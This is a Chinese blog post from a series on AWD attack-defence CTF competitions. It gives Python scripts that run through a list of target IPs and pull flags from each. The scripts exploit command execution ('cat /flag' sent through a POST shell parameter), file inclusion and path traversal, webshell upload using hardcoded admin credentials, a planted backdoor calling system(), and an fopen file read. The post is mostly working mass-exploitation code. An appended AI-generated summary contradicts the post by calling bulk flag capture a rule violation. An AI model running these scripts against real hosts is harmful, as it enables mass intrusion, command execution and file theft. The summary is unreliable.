红蓝对抗-AWD全流程攻略05(批量获取flag)

文章讲述了在AWD比赛中如何通过Python编程实现漏洞批量扫描和flag获取,涉及命令执行、文件包含、get和post传参漏洞,以及文件上传和预留后门文件利用的技术细节。
摘要由CSDN通过智能技术生成

AWD比赛中,是以周期得分当你发现一个漏洞即可连续批量的分,要想连续得分必须会权限维持,还有批量获取flag,本文记录如何批量获取前文相关漏洞的flag.

第3节 (攻防模拟)对应漏洞

01 python(使用语言)

Python是一种跨平台的计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shel),随着版本的不断更新和语言新功能的添加,越多被用于独立的大型项目的开发。在写批量脚本的过程需要掌握python语言。

 02 漏洞批量脚本

命令执行 

post传参 漏洞点

import requests

f = open('ip.txt','r')
data = {"shell":'cat /flag'}
for i in f.readlines():
    url = 'http://'+i.strip()+'/footer.php'
    r = requests.post(url,data=data)
    x = r.text
    print(url +'    '+ x)

文件包含

get 传参 漏洞点

列举两种写法

#正则匹配
import requests
import re

f = open('ip.txt','r')
for i in f.readlines():
    url = 'http://'+i.strip()+''
    path = '/about.php?file=/flag'
    palyoad = url + path
    r = requests.get(palyoad)
    result = re.search('[a-z0-9]{32}',r.text)
    if r.status_code==200:
        print(url,result.group())
    else:
        print(url,"There is no flag here")
f.close()
#切片
import requests

f = open('ip.txt','r')
for i in f.readlines():
    url = 'http://'+i.strip()
    url_path = '/about.php?file=../../../../../../../flag'
    palyoad = url + url_path
    r = requests.get(palyoad)
    i = r.text.split('\n')
    print(url+'   '+i[0].split('<')[0])

 文件上传

漏洞点

import requests
f = open('ip.txt','r')
for i in f.readlines():

    URL = 'http://'+ i.strip()
    url_path = '/login.php'
    url_path1 = '/admin/upload.php'

    url = URL + url_path
    user_passwd = {'username':'admin',
        'password':'mysql',
        'button':'SIGN-I',}
    s=requests.Session()
    r=s.post(url,data=user_passwd)
    header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',}
    file ={
        'pic':('2.php',open('a.php','rb')),   #1.php这一块是文件名 ; pic也必须得改,是Content-Disposition: form-data; name="pic"; filename="php_mmr.php"
        'Content-Disposition':'form-data',
        'Content-Type':'image/jpeg',
    }
    url = URL + url_path1

    r1 = s.post(url = url, files=file,headers=header)
    r1.encoding = r1.apparent_encoding
    if r1.status_code != 200:
        print(url + '    \033[1;31m上传失败\033[0m')
    else :
        for i in r1.text.split('\n'):
            if '上传成功' in i:
                print(url + '    \033[1;32m上传成功\033[0m   ' + i)
                break

 预留后门文件利用

import requests


f = open('ip.txt', 'r')
for i in f.readlines():

    url = 'http://' + i.strip()
    url_path = '/a.php?c=system("cat /flag");'
    r = requests.get(url + url_path)
    i = r.text.split('\n')
    print(url+'    '+i[0].split('<')[0])
    

fopen漏洞

import requests
import re

f = open('ip.txt', 'r')
for i in f.readlines():

    url = 'http://' + i.strip()+''
    path = '/contact.php?path=/flag'
    payload = url + path
    r = requests.get(url + path)
    x = r.text
    result = re.search('[a-z0-9]{32}',x)
    print(url, result.group())

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
awd(Attack-Defence,攻击与防守)是一种网络安全竞赛形式,参赛者需要在拥有相同的漏洞环境中,互相攻击对方的系统,同保护自己的系统免受攻击。比赛的目标是尽可能获取对方系统中的标志性 flag。 在awd中,批量获取flag是指通过某种方法快速获取多个flag的行为。然而,批量获取flag是不被鼓励且违反竞赛规则的行为,因为它破坏了竞赛的公平性和技术竞争的原则。 竞赛组织者会采取一系列的措施防止批量获取flag的行为: 1. 漏洞环境的安全性:竞赛组织者会尽力确保漏洞环境的安全性,修复已知的漏洞并设置有效的防御机制,以防止参赛者通过简单的手法获取flag。 2. Flag的保护:竞赛组织者会对flag进行加密或隐藏,并设置多重保护措施。只有通过特定漏洞利用或完成特定任务的参赛者才能获取flag,从而增加了获取flag的难度。 3. 监控机制:竞赛组织者会设置监控系统,对参赛者的行为进行实跟踪和分析。如果发现异常的获取flag行为,组织者将采取相应措施,并有权取消参赛者的资格。 总体而言,awd竞赛强调的是技术实力和攻防对抗的能力,追求公平竞争和攻击与防御技巧的提升。尝试批量获取flag不仅违背了竞赛规则,还会损害awd竞赛的精神和目的。因此,参赛者应该遵守竞赛规则,以合法的方式争取获取flag,并积极参与竞赛的学习和交流过程,提升自身的技术实力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值